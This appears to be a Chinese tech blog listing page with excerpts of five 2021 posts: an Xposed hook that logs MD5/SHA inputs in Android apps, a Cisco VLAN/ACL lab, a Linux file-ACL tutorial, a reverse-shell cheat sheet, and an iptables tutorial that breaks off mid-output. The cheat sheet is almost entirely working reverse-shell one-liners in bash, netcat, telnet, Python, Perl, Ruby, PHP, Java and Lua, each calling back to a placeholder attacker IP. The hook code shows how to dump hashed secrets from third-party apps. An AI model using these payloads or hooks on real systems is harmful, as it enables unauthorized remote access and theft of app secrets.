• 安卓逆向 -- 自吐算法(MD5和SHA)

    一、主要框架,hook代码主要填写在try代码块里 package com.bucuo.a20210908; import android.app.Application;import android.content.Context;import android.util.Log;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XposedBridge;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XC_MethodHook;import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class hook implements IXposedHookLoadPackage { public void handleLoadPackage(final LoadPackageParam loadPackageParam) throws Throwable { Log.d("逆向有你", "hook成功"); try{ }catch (Exception e){ e.printStackTrace(); } } public String b2s(byte[] bt){ StringBuffer sb=new StringBuffer(); int i=0; while (i<bt.length){ int k=bt[i]; int j=k; if (k<0){ j=k+256; } if (j<16){ sb.append("0"); } sb.append(Integer.toHexString(j)); i+=1; } return sb.toString(); }} 二、MD5算法实现源码(SHA算法同理) import java.security.MessageDigest; String bs= "逆向有你a";MessageDigest md=MessageDigest.getInstance("MD5");//我要用md5算法md.update(bs.getBytes());//我要加密的数据byte[] res = md.digest();//给我加密System.out.println("MD5加密(字节):"+Arrays.toString(res));System.out.println("MD5加密(字符串):"+bytes2HexString(res)); MessageDigest mdmd = MessageDigest.getInstance("MD5");mdmd.update("逆向".getBytes(StandardCharsets.UTF_8));mdmd.update("有你".getBytes(StandardCharsets.UTF_8));byte[] mdmdres = mdmd.digest("a".getBytes(StandardCharsets.UTF_8));System.out.println(bytes2HexString(mdmdres)); 三、分析要hook的地方 1、hook的类就是导入的包,即“java.security.MessageDigest” 2、update可以使用多次(如果hook这里会无限循环), digest只能使用一次(这里是hook点) 四、知道hook的类及方法名,开始编写代码 XposedBridge.hookAllMethods(XposedHelpers.findClass("java.security.MessageDigest", loadPackageParam.classLoader) , "digest", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { super.afterHookedMethod(param); Log.e("逆向有你", "Stack:", new Throwable("stack dump")); MessageDigest md = (MessageDigest) param.thisObject;//实例化 String algorithm = md.getAlgorithm();//获取加密算法的名称 if (param.args.length >= 1) { byte[] params = (byte[]) param.args[0]; String data = new String(params); String datahex = b2s(params); String datab64 = Base64.encodeToString(params, 0); Log.d("逆向有你",algorithm+"data:"+data); Log.d("逆向有你",algorithm+"datahex:"+datahex); Log.d("逆向有你",algorithm+"datab63:"+datab64); } byte[] res=(byte[])param.getResult(); String reshex = b2s(res); String resb64 = Base64.encodeToString(res, 0); Log.d("逆向有你",algorithm+"resulthex:"+reshex); Log.d("逆向有你",algorithm+"resultb64:"+resb64); Log.d("逆向有你","========================================================================"); } }); 禁止非法,后果自负 ...

    2021-09-29 522
  • 由400台电脑组成的网络如何配置?

    一、学校项目配置案例 某校计算机系承办市中考电脑阅卷任务,市教育局要求学校提供四百台电脑供改卷教师使用,同时需要4台配置性能较高的服务器以供四百台客户端电脑访问。该校计算机系四百台电脑分布在7间机房中,共由4个IP网段组成。 一、要求:为了安全起见,要求处在4个网段的电脑相互之间不能访问,但所有的电脑均要求能访问这4台服务器,网络拓扑图如图13-7所示。经研究,可以通过配置三层交换机以实现以上要求。  二、具体配置及IP地址分配方案如下所述:假设:机房一、二的网线分别接在三层交换机的F0/1和F0/2端口;机房三、四的网线分别接在三层交换机的F0/6和F0/7端口;机房五、六的网线分别接在三层交换机的F0/11和F0/12端口;机房七的网线接在三层交换机的F0/16端口;服务器接在三层交换机的F0/21端口。  各机房IP地址分配机房一、二: IP:192.168.7.X/24,网关:192.168.7.254机房三、四: IP:192.168.8.X/24,网关:192.168.8.254机房五、六:IP:192.168.10.X/24,网关:192.168.10.254机房七:IP:192.168.11.X/24,网关:192.168.11.254服务器:IP:192.168.12.X/24  网关:192.168.12.254 三、网络拓扑图 四、配置三层交换机  本例以思科三层交换机为例,具体配置命令如下所示:有些重复的命令就不注释了。1、创建5个vlanSwitch>Switch>en  //进入特权模式Switch#config //进入全局配置模式Switch(config)#hostname 3560   //更改主机名为3560 3560(config)#vlan 10     //创建vlan103560(config-vlan)#vlan 20   //创建vlan203560(config-vlan)#vlan 303560(config-vlan)#vlan 403560(config-vlan)#vlan 503560(config-vlan)#exit 2、将端口划分到相应的VLAN3560(config)#int range f0/1-5    //进入端口1-53560(config-if-range)#switchport mode access  //将端口设置为access模式3560(config-if-range)#switchport access vlan10   //将1-5端口加入到vlan10中3560(config-if-range)#exit   //退出 3560(config)#int range f0/6-10  //进入端口6-10端口,其它命令与上面一样3560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan203560(config-if-range)#exit 3560(config)#int range f0/11-153560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan303560(config-if-range)#exit 3560(config)#int range f0/16-203560(config-if-range)#switchport mode access3560(config-if-range)#switchporta ccess vlan403560(config-if-range)#exit 3560(config)#int range f0/21-223560(config-if-range)#switchport mode access3560(config-if-range)#switchport access vlan503560(config-if-range)#exit 先为三层交换机开启路由功能,这样才能实现计算机互访问3560(config)#no ip domain-loo   //告诉Router不要对它不知道的字符串做DNS解析3560 (config)#ip routing    //启动路由 3、为各个VLAN分别配置IP地址3560(config)#int vlan 10    //进入vlan103560(config-if)#ip add 192.168.7.254 255.255.255.0  //为vlan10分配子网掩码与ip地址3560(config-if)#no shut   //开启端口3560(config-if)#exit     //退出 3560(config)#int vlan 203560(config-if)#ip add 192.168.8.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 303560(config-if)#ip add 192.168.10.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 403560(config-if)#ip add 192.168.11.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 3560(config)#int vlan 503560(config-if)#ip add 192.168.12.254 255.255.255.03560(config-if)#no shut3560(config-if)#exit 4、创建访问控制列表(ACL)很多朋友可能会问,控制访问列表有什么用,我们先来了解下它的作用。访问控制列表是应用在路由器接口的指令列表,这些指令列表用来告诉路由器哪些数据包可以接收、哪些数据包需要拒绝。 拒绝网络192.168.7.0/24访问这三个ip段(192.168.8.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 101 deny ip 192.168.7.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 101 permit ip any any 拒绝网络192.168.8.0/24访问这三个ip段(192.168.7.0/24、192.168.10.0/24、192.168.11.0/24),而允许其他任何流量。 3560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 102 deny ip 192.168.8.0 0.0.0.255 192.168.11.0  0.0.0.2553560(config)#access-list 102 permit ip any any 拒绝网络192.168.10.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.11.0/24),而允许其他任何流量。3560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 103 deny ip 192.168.10.0 0.0.0.255 192.168.11.0 0.0.0.2553560(config)#access-list 103 permit ip any any 拒绝网络192.168.11.0/24访问这三个ip段(192.168.7.0/24、192.168.8.0/24、192.168.10.0/24),而允许其他任何流量。3560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.7.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.8.0 0.0.0.2553560(config)#access-list 104 deny ip 192.168.11.0 0.0.0.255 192.168.10.0 0.0.0.2553560(config)#access-list 104 permit ip any any 5、将ACL应用到相应的VLAN上3560(config)#int vlan10 3560(config-if)#ipaccess-group 101 in3560(config-if)#exit就是vlan10就只能访问101的列表。 3560(config)#int vlan203560(config-if)#ipaccess-group 102 in3560(config-if)#exit就是vlan20就只能访问102的列表。 3560(config)#int vlan303560(config-if)#ipaccess-group 103 in3560(config-if)#exit就是vlan30就只能访问103的列表。 3560(config)#int vlan403560(config-if)#ipaccess-group 104 in3560(config-if)#exit就是vlan40就只能访问104的列表。 3560#wr     //保存配置文件 五、验证测试1、机房一、二的电脑Ping不通处在8、10、11网段的电脑,但可以Ping通处在12网段的服务器;2、机房三、四的电脑Ping不通处在7、10、11网段的电脑,但可以Ping通12网段的服务器;3、机房五、六的电脑Ping不通处在7、8、11网段的电脑,但可以Ping通12段的服务器;4、机房七的电脑Ping不通处在7、8、10网段的电脑,但可以Ping通12网段的服务器。...

    2021-09-29 597
  • linux中使用ACL保护文件目录​

    ACl (Access Control List),主要目的是提供传统的 owner、group、others 的 read、write、execute 权限之外的特殊权限需求设置。ACL 可以针对单一使用者、单一文件或目录来进行 r、w、x 的权限规范,对于需要特殊权限的使用状况非常有帮助 ACl 主要针对以下方面来控制权限: 使用者 user 群组 group 默认属性 mask:针对在该目录下在建立新文件/目录时,规范新数据的默认权限 有一个目录,给一堆人使用,每个人或每个群组所需要的权限并不相同,使用传统 Linux 三种身份的三种权限是无法达到的,因此基本上,传统的 Linux 权限只能针对一个用户、一个群组以及非此群组的其他人设置权限。无法针对单一用户或个人来设计权限。 Note:根据 Redhat 产品文档,它为 ext3 文件系统和 NFS 导出文件系统提供 ACL 支持。 如何检查 Linux 系统中的 ACL 支持 在继续之前,你应该在当前内核和挂载的文件系统上支持 ACL。 1. 检查内核是否支持 ACL 运行以下命令检查文件系统的 ACL 支持和 POSIX_ACL=Y 选项(如果有 N 代替 Y,则表示内核不支持ACL,需要重新编译)。 [root@linux ~]# grep -i acl /boot/config* CONFIG_`EXT4_FS_POSIX_ACL=y` CONFIG_`REISERFS_FS_POSIX_ACL=y` CONFIG_JFS_POSIX_ACL=y CONFIG_XFS_POSIX_ACL=y CONFIG_BTRFS_FS_POSIX_ACL=y CONFIG_FS_POSIX_ACL=y CONFIG_GENERIC_ACL=y CONFIG_TMPFS_POSIX_ACL=y CONFIG_NFS_V3_ACL=y CONFIG_NFSD_V2_ACL=y CONFIG_NFSD_V3_ACL=y CONFIG_NFS_ACL_SUPPORT=m CONFIG_CIFS_ACL=y CONFIG_9P_FS_POSIX_ACL=y 2.检查所需的包 在开始使用 ACL 之前,请确保你已安装所需的软件包。以下是需要使用安装的必需软件包yum 或者 apt-get. [root@linux ~]# yum install nfs4-acl-tools acl libacl  [on `RedHat` based systems] [rumenz@linux ~]$ sudo apt-get install nfs4-acl-tools acl [on `Debian` based systems] 3. 检查挂载的文件系统是否支持 ACL 现在,检查挂载的文件系统是否使用 ACL 选项挂载。我们可以用mount 用于检查相同的命令,如下所示。 [root@linux ~]# mount  | grep -i root /dev/mapper/fedora-root on / type ext4 (rw,relatime,data=ordered) 但在我们的例子中,它默认不显示 acl。因此,接下来我们可以选择使用 acl 选项再次重新挂载已安装的分区。但是,在继续之前,我们有另一个选项来确保分区是否使用 acl 选项挂载,因为对于最近的系统,它可能与默认挂载选项集成。 [root@linux ~]# tune2fs -l /dev/mapper/fedora-root | grep acl Default mount options:    user_xattr acl 在上面的输出中,你可以看到默认挂载选项已经支持 acl。另一种选择是重新挂载分区,如下所示。 [root@linux ~]# mount -o remount,acl / 接下来,将以下条目添加到/etc/fstab文件中以使其永久化。 /dev/mapper/fedora-root / ext4    defaults,acl 1 1 再次,重新挂载分区。 [root@linux ~]# mount -o remount  / 4.对于NFS服务器 在 NFS 服务器上,如果 NSF 服务器导出的文件系统支持 ACL,并且 NFS 客户端可以读取 ACL,那么客户端系统就会使用 ACL。 要禁用 NFS 共享上的 ACL,你必须添加选项no_acl 在 /etc/exportfs NFS 服务器上的文件。要再次在 NSF 客户端禁用它,请使用no_acl 挂载时间的选项。 如何在 Linux 系统中实现 ACL 支持 有两种类型 ACLs: Access ACLs:访问 ACL 用于授予对任何文件或目录的权限。 Default ACLs:默认 ACL 仅用于在特定目录上授予/设置访问控制列表。 访问 ACL 和默认 ACL 的区别: 默认 ACL 只能在目录级别使用。 在该目录中创建的任何子目录或文件都将从其父目录继承 ACL。另一方面,文件继承默认 ACL 作为其访问 ACL。 我们利用–d用于设置默认 ACL,默认 ACL 是可选的。 设置默认 ACL 之前 要确定特定文件或目录的默认 ACL,请使用 getfacl 命令。在下面的例子中,getfacl 用于获取文件夹的默认 ACL Music。 [root@linux ~]# getfacl Music/ # file: Music/ # owner: root # group: root user::rwx group::r-x other::r-x default:user::rwx default:group::r-x default:other::rw- 设置默认 ACL 后 要为特定文件或目录设置默认 ACL,请使用 setfacl 命令。在下面的例子中,setfacl 命令将设置一个新的 ACL(read 和 execute) 给文件夹 Music. [root@linux ~]# setfacl -m d:o:rx Music/ [root@linux ~]# getfacl Music/ # file: Music/ # owner: root # group: root user::rwx group::r-x other::r-x `default:user::rwx default:group::r-x default:other::r-x` 如何设置新的 ACL 使用 setfacl用于设置或修改任何文件或目录的命令。例如,rumenz1用户赋予read和 write 的权限。 # setfacl -m u:rumenz1:rw /rumenz1/example 如何查看 ACL 使用 getfacl 用于查看任何文件或目录上的 ACL 的命令。例如,要查看  上的 ACL/rumenz1/example 使用下面的命令。 # getfacl /rumenz1/example # file: rumenz1/example/ # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::rwx mask::rwx other::--- 如何删除 ACL 为了从任何文件/目录中删除 ACL,我们使用 x 和 b 选项 # setfacl -x ACL file/directory   # remove only specified ACL from file/directory. # setfacl -b  file/directory     #removing all ACL from file/direcoty 两个用户(rumenz1 和 rumenz2),两者都有名为的共同次要组acl。我们将创建一个所有者是rumenz1的目录, 并将该目录的 read 和 execute 授权给用户 rumenz2。 Step 1: 创建两个用户并从两者中删除密码 [root@linux ~]# for user in rumenz1 rumenz2 > do > useradd $user > passwd -d $user > done Removing password for user rumenz passwd: Success Removing password for user rumenz passwd: Success Step 2: 创建一个组和用户到次要组。 [root@linux ~]# groupadd acl [root@linux ~]# usermod -G acl rumenz1 [root@linux ~]# usermod -G acl rumenz2 Step 3:创建目录/rumenz并将所有权更改为rumenz1`. [root@linux ~]# mkdir /rumenz1 [root@linux ~]# chown rumenz1 /rumenz1/ [root@linux ~]# ls -ld /rumenz1/ drwxr-xr-x 2 rumenz1 root 4096 Apr 17 14:46 /rumenz1/ [root@linux ~]# getfacl /rumenz1 `getfacl: Removing leading '/' from absolute path names` # file: rumenz1 # owner: rumenz1 # group: root user::rwx group::r-x other::r-x Step 4: 登录 rumenz1 并在其中创建一个目录。 [rumenz@linux ~]$ su - rumenz1 Last login: Thu Apr 17 14:49:16 IST 2014 on pts/4 [rumenz1@linux ~]$ cd /rumenz1/ [rumenz1@linux rumenz1]$ mkdir example [rumenz1@linux rumenz1]$ ll total 4 drwxrwxr-x 2 rumenz1 rumenz1 4096 Apr 17 14:50 example [rumenz1@linux rumenz1]$ whoami  rumenz1 Step 5: 现在使用设置ACLsetfacl,  rumenz1 将拥有所有 rwx 权限,rumenz2 将只有 read 的权限,example 文件夹和其他文件夹将没有权限。 $ setfacl -m u:rumenz1:rwx example/ $ setfacl -m u:rumenz2:r-- example/ $ setfacl -m  other:--- example/ $ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::r-x mask::rwx other::--- Step 6: rumenz2 在另一个终端上并将目录更改为 /rumenz1。现在尝试使用ls命令 查看内容,然后尝试更改目录并查看如下差异。 [rumenz@linux ~]$ su - rumenz2 Last login: Thu Apr 17 15:03:31 IST 2014 on pts/5 [rumenz2@linux ~]$ cd /rumenz1/ [rumenz2@linux rumenz1]$ ls -lR example/ example/: total 0 [rumenz2@linux rumenz1]$ cd example/ -bash: cd: example/: Permission denied [rumenz2@linux rumenz1]$ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-- group::rwx mask::rwx other::--- Step 7: 现在给 execute许可rumenz2 在 example 文件夹,然后使用 cd 命令查看效果。现在 rumenz2 具有查看和更改目录的权限,但没有写入任何内容的权限。 [rumenz1@linux rumenz1]$ setfacl -m u:rumenz2:r-x example/ [rumenz1@linux rumenz1]$ getfacl example/ # file: example # owner: rumenz1 # group: rumenz1 user::rwx user:rumenz1:rwx user:rumenz2:r-x group::rwx mask::rwx other::--- [rumenz@linux ~]$ su - rumenz2 Last login: Thu Apr 17 15:09:49 IST 2014 on pts/5 [rumenz2@linux ~]$ cd /rumenz1/ [rumenz2@linux rumenz1]$ cd example/ [rumenz2@linux example]$ getfacl . [rumenz2@linux example]$ mkdir test mkdir: cannot create directory test: Permission denied [rumenz2@linux example]$ touch test touch: cannot touch test: Permission denied Note: 执行 ACL 后,你将看到一个额外的 + 符号为 ls –l 输出如下。 [root@linux rumenz1]# ll total 4 drwxrwx---+ 2 rumenz1 rumenz1 4096 Apr 17 17:01 example...

    2021-09-29 444
  • 反弹shell的N种姿势

    0x00 前言 在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。 0x01 Bash反弹 1.1 方法一 攻击者主机上执行监听: nc -lvvp port 目标主机上执行: bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i 打开一个交互的bash#>& 将标准错误输出重定向到标准输出#/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互 注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。 inux shell下常用的文件描述符是: 1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ; 2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ; 3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。 另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。 1.2 方法二 exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1 1.3 方法三 exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done 0x02 telnet反弹 2.1 方法一 攻击者主机上打开两个终端分别执行监听: nc -lvvp 4444nc -lvvp 5555 目标主机中执行: telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip 反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 2.2 方法二 rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p 0x03 nc(netcat)反弹 攻击者主机上执行监听命令: nc -lvvp port 目标主机上执行: nc -e /bin/bash x.x.x.x port 如果目标主机linux发行版本没有 -e 参数,还有以下几种方式: rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f 注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信 nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555   #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。nc -c /bin/sh x.x.x.x 4444/bin/sh | nc x.x.x.x 4444 0x04 常见脚本反弹 4.1 python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 4.2 perl 4.2.1 方法一 perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 4.2.2 方法二 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 4.3 Ruby 4.3.1 方法一 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 4.3.2 方法二 ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 4.4 PHP php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");' 4.5 Java public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime();    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}} 4.6 Lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');" 注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听: nc -lvvp 5555 0x05 总结 上面提到的是常见的反弹shell的方式,肯定还有其他的方式,欢迎大家补充,这里也会不断的跟新。 ...

    2021-09-29 460
  • Linux下 iptables 超详细教程和使用示例

    iptables的结构: iptables由上而下,由Tables,Chains,Rules组成。 一、iptables的表tables与链chains iptables有Filter, NAT, Mangle, Raw四种内建表: 1. Filter表 Filter是iptables的默认表,它有以下三种内建链(chains): INPUT链 – 处理来自外部的数据。 OUTPUT链 – 处理向外发送的数据。 FORWARD链 – 将数据转发到本机的其他网卡设备上。 2. NAT表 NAT表有三种内建链: PREROUTING链 – 处理刚到达本机并在路由转发前的数据包。它会转换数据包中的目标IP地址(destination ip address),通常用于DNAT(destination NAT)。 POSTROUTING链 – 处理即将离开本机的数据包。它会转换数据包中的源IP地址(source ip address),通常用于SNAT(source NAT)。 OUTPUT链 – 处理本机产生的数据包。 3. Mangle表 Mangle表用于指定如何处理数据包。它能改变TCP头中的QoS位。Mangle表具有5个内建链(chains): PREROUTING OUTPUT FORWARD INPUT POSTROUTING 4. Raw表 Raw表用于处理异常,它具有2个内建链: PREROUTING chain OUTPUT chain 5.小结 二、IPTABLES 规则(Rules) 规则的关键知识点: Rules包括一个条件和一个目标(target) 如果满足条件,就执行目标(target)中的规则或者特定值。 如果不满足条件,就判断下一条Rules。 目标值(Target Values) 在target里指定的特殊值: ACCEPT – 允许防火墙接收数据包 DROP – 防火墙丢弃包 QUEUE – 防火墙将数据包移交到用户空间 RETURN – 防火墙停止执行当前链中的后续Rules,并返回到调用链(the calling chain)中。 查看各表中的规则命令 # iptables -t filter --list 查看mangle表: # iptables -t mangle --list 查看NAT表: # iptables -t nat --list 查看RAW表: # iptables -t raw --list 以下例子表明在filter表的input链, forward链, output链中存在规则: # iptables --list Chain INPUT (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain FORWARD (policy ACCEPT) num target prot opt source destination 1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT) num target prot opt source destination Chain RH-Firewall-1-INPUT (2 references) num target prot opt source destination 1 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 2 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 255 3 ACCEPT esp -- 0.0.0.0/0 0.0.0.0/0 4 ACCEPT ah -- 0.0.0.0/0 0.0.0.0/0 5 ACCEPT udp -- 0.0.0.0/0 224.0.0.251 udp dpt:5353 6 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:631 7 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:631 8 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 9 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 10 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited 以上输出包含下列字段: num – 指定链中的规则编号 target – 前面提到的target的特殊值prot – 协议:tcp, udp, icmp等source – 数据包的源IP地址destination – 数据包的目标IP地址 三、清空所有iptables规则 在配置iptables之前,你通常需要用iptables --list命令或者iptables-save命令查看有无现存规则,因为有时需要删除现有的iptables规则: iptables --flush 或者 iptables -F 下面命令是清除iptables nat表规则。 iptables -t nat -F 四、永久生效 当你删除、添加规则后,这些更改并不能永久生效,这些规则很有可能在系统重启后恢复原样。如下配置让配置永久生效。 # 保存iptables规则 service iptables save # 重启iptables服务 service iptables stop service iptables start 查看当前规则: cat /etc/sysconfig/iptables 五、追加iptables规则 可以使用iptables -A命令追加新规则,其中-A表示Append。因此,新的规则将追加到链尾。 一般而言,最后一条规则用于丢弃(DROP)所有数据包。如果你已经有这样的规则了,并且使用-A参数添加新规则,那么就是无用功。 1.语法 iptables -A chain firewall-rule -A chain – 指定要追加规则的链 firewall-rule – 具体的规则参数 2.描述规则的基本参数 以下这些规则参数用于描述数据包的协议、源地址、目的地址、允许经过的网络接口,以及如何处理这些数据包。这些描述是对规则的基本描述。 -p 协议(protocol) 指定规则的协议,如tcp, udp, icmp等,可以使用all来指定所有协议。  如果不指定-p参数,则默认是all值。这并不明智,请总是明确指定协议名称。  可以使用协议名(如tcp),或者是协议值(比如6代表tcp)来指定协议。映射关系请查看/etc/protocols 还可以使用–protocol参数代替-p参数-s 源地址(source) 指定数据包的源地址 参数可以使IP地址、网络地址、主机名 例如:-s 192.168.1.101指定IP地址 例如:-s 192.168.1.10/24指定网络地址 如果不指定-s参数,就代表所有地址 还可以使用–src或者–source-d 目的地址(destination) 指定目的地址 参数和-s相同 还可以使用–dst或者–destination-j 执行目标(jump to target) -j代表”jump to target” -j指定了当与规则(Rule)匹配时如何处理数据包 可能的值是ACCEPT, DROP, QUEUE, RETURN 还可以指定其他链(Chain)作为目标-i 输入接口(input interface) -i代表输入接口(input interface) -i指定了要处理来自哪个接口的数据包 这些数据包即将进入INPUT, FORWARD, PREROUTE链 例如:-i eth0指定了要处理经由eth0进入的数据包 如果不指定-i参数,那么将处理进入所有接口的数据包 如果出现! -i eth0,那么将处理所有经由eth0以外的接口进入的数据包 如果出现-i eth+,那么将处理所有经由eth开头的接口进入的数据包 还可以使用–in-interface参数-o 输出(out interface) -o代表”output interface” -o指定了数据包由哪个接口输出 这些数据包即将进入FORWARD, OUTPUT, POSTROUTING链 如果不指定-o选项,那么系统上的所有接口都可以作为输出接口 如果出现! -o eth0,那么将从eth0以外的接口输出 如果出现-i eth+,那么将仅从eth开头的接口输出 还可以使用–out-interface参数 3.描述规则的扩展参数 对规则有了一个基本描述之后,有时候我们还希望指定端口、TCP标志、ICMP类型等内容。 –sport 源端口(source port)针对 -p tcp 或者 -p udp 缺省情况下,将匹配所有端口 可以指定端口号或者端口名称,例如”–sport 22″与”–sport ssh”。 /etc/services文件描述了上述映射关系。 从性能上讲,使用端口号更好 使用冒号可以匹配端口范围,如”–sport 22:100″ 还可以使用”–source-port”–-dport 目的端口(destination port)针对-p tcp 或者 -p udp 参数和–sport类似 还可以使用”–destination-port”-–tcp-flags TCP标志 针对-p tcp 可以指定由逗号分隔的多个参数 有效值可以是:SYN, ACK, FIN, RST, URG, PSH 可以使用ALL或者NONE-–icmp-type ICMP类型 针对-p icmp –icmp-type 0 表示Echo Reply –icmp-type 8 表示Echo 4.追加规则的完整实例:仅允许SSH服务 本例实现的规则将仅允许SSH数据包通过本地计算机,其他一切连接(包括ping)都将被拒绝。 # 1.清空所有iptables规则 iptables -F # 2.接收目标端口为22的数据包 iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT # 3.拒绝所有其他数据包 iptables -A INPUT -j DROP 六、更改默认策略 上例的例子仅对接收的数据包过滤,而对于要发送出去的数据包却没有任何限制。本节主要介绍如何更改链策略,以改变链的行为。 1. 默认链策略 /!\警告:请勿在远程连接的服务器、虚拟机上测试! 当我们使用-L选项验证当前规则是发现,所有的链旁边都有policy ACCEPT标注,这表明当前链的默认策略为ACCEPT: # iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh DROP all -- anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination 这种情况下,如果没有明确添加DROP规则,那么默认情况下将采用ACCEPT策略进行过滤。除非: a)为以上三个链单独添加DROP规则: iptables -A INPUT -j DROP iptables -A OUTPUT -j DROP iptables -A FORWARD -j DROP b)更改默认策略: iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP 糟糕!!如果你严格按照上一节的例子配置了iptables,并且现在使用的是SSH进行连接的,那么会话恐怕已经被迫终止了! 为什么呢?因为我们已经把OUTPUT链策略更改为DROP了。此时虽然服务器能接收数据,但是无法发送数据: # iptables -L Chain INPUT (policy DROP) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh DROP all -- anywhere anywhere Chain FORWARD (policy DROP) target prot opt source destination Chain 